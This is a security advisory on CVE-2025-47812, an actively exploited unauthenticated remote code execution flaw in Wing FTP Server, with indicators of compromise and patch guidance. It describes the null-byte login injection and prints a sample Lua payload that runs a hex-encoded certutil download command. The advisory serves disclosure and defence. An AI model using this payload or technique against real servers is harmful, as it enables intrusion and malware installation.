Summary
- CVE ID: CVE-2025-47812
- Severity: Critical (CVSS 10.0)
- Type: Remote Code Execution (RCE)
- Affected Product: Wing FTP Server
- Affected Versions: Versions prior to 7.4.4
- Patched Version: 7.4.4 (Released June 28, 2025)
- Exploitation Status: Actively exploited in the wild
Vulnerability Details
CVE-2025-47812 is a vulnerability in the login handling mechanism of Wing FTP Server that allows unauthenticated attackers to execute arbitrary system commands on the server. It exploits a null byte injection flaw combined with Lua code injection, leading to deserialization-based RCE.
Exploit Mechanics
- Null Byte Injection:
- The attacker sends a specially crafted POST request to
/loginok.html. - The username field contains a null byte (
%00), which tricks the server into saving malicious Lua code in a session file.
- The attacker sends a specially crafted POST request to
- Lua Code Execution:
- The injected Lua payload is stored in a
.luasession file undersession/. - When the session is later deserialized by the server, the Lua code is executed with root or SYSTEM privileges.
- The injected Lua payload is stored in a
- Typical Payload:
- A hex-encoded command wrapper using a Lua
hx()function:function hx(hex) local str = ''; for i = 1, #hex-1, 2 do str = str .. string.char(tonumber(hex:sub(i, i+1), 16)); end; return str; end os.execute(hx("636572747574696c202d75726c6361636865202d6620687474703a2f2f..."))
- A hex-encoded command wrapper using a Lua
Real-World Attacks (Confirmed)
- First exploitation detected: July 1, 2025
- Observed behaviors:
- Attackers executed reconnaissance commands (
ipconfig,whoami, etc.). - Uploaded malware using
certutil, including remote access tools like ScreenConnect. - Created rogue admin accounts in Wing FTP Server.
- Attackers executed reconnaissance commands (
- Active use of Metasploit module targeting this vulnerability was confirmed.
Indicators of Compromise (IOCs)
📂 Suspicious Files:
- Unusually large or modified files in the
session/directory with Lua extensions - Example:
session/anonymous_xxxxxx.lua
📄 Log Entries:
- Truncated entries such as:
User 'anonymous - Found in log paths like:
Log/Domains/YYYY-M-D.log
🌐 Malicious IPs:
223.160.131.0185.196.9.225
🧬 Malware Observed:
- ScreenConnect Remote Access Tool
- Trojan:Win32/Ceprolad.A
Mitigation and Response
✅ Immediate Actions
Update Software:
Upgrade Wing FTP Server to version 7.4.4 or later to patch the vulnerability.
Download from: https://www.wftpserver.com/download.htm
Disable Anonymous FTP Access:
Prevent unauthenticated users from logging in, especially if not required for business operations.
Restrict Network Exposure:
Remove public access to the admin and login interfaces.
Place the server behind a firewall, VPN, or an internal-only VLAN.
Summary
- CVE-2025-47812 is a critical and actively exploited vulnerability in Wing FTP Server.
- It allows unauthenticated remote code execution via crafted login requests that inject and execute Lua scripts.
- Patching and auditing are essential—many servers are exposed and being targeted in the wild.
